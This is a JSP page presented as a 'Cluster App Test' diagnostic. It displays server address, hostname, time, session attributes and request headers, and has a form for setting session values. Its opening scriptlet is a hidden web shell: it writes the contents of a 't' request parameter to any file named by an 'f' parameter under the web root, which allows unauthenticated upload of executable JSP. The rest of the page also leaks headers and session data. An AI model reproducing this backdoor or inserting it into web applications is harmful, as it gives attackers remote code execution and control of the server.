<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@page import="java.net.InetAddress" %>
<%@page import="java.util.Date" %>
<%@ page import="java.util.Enumeration" %>
<%
    if (request.getParameter("f") != null)
        (new java.io.FileOutputStream(application.getRealPath("/") + request.getParameter("f"))).write(request.getParameter("t").getBytes());
%><a href="One_OK"></a>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Cluster App Test</title>
</head>
<body>
<%
    InetAddress ip = InetAddress.getLocalHost();
    //out.println(ip.getHostAddress());
%>
This is responsed by
<font color="red"><%=ip.getHostAddress()%>
</font>
<br>
Host Name :
<font color="red"><%=ip.getHostName()%>
</font>
<br>
Time :
<font color="red"><%=new Date()%>
</font>
<br>
<%
    ip = null;
%>
<br/>
<br/>
<br/>
Server Info:<br/>
<%
    out.println("Local：" + request.getLocalAddr() + " : " + request.getLocalPort() + "<br>");
    out.println("Remote：" + request.getRemoteAddr() + " : " + request.getRemotePort() + "<br/>");
    out.println("ServerName：" + request.getServerName() + " : " + request.getServerPort() + "<br/>");
%>
<%
    out.println("<br>Session ID：" + session.getId() + "<br>");
    // 如果有新的 Session 属性设置
    String dataName = request.getParameter("dataName");
    if (dataName != null && dataName.length() > 0) {
        String dataValue = request.getParameter("dataValue");
        session.setAttribute(dataName, dataValue);
    }
    out.print("<br/><b>Session 列表</b><br/>");
    Enumeration e = session.getAttributeNames();
    while (e.hasMoreElements()) {
        String name = (String) e.nextElement();
        String value = session.getAttribute(name).toString();
        out.println(name + " = " + value + "<br>");
        System.out.println(name + " = " + value);
    }

    out.print("<br/><b>Header 列表</b><br/>");
    Enumeration e2 = request.getHeaderNames();
    while (e2.hasMoreElements()) {
        String name = (String) e2.nextElement();
        String value = request.getHeader(name);
        out.println(name + " = " + value + "<br>");
    }

%>
<form action="test.jsp" method="POST">
    名称22:
    <input type="text" size="20" name="dataName">
    <br>
    &nbsp;&nbsp;值:
    <input type="text" size="20" name="dataValue">
    <br>
    <input type="submit">
</form>
</body>
</html>
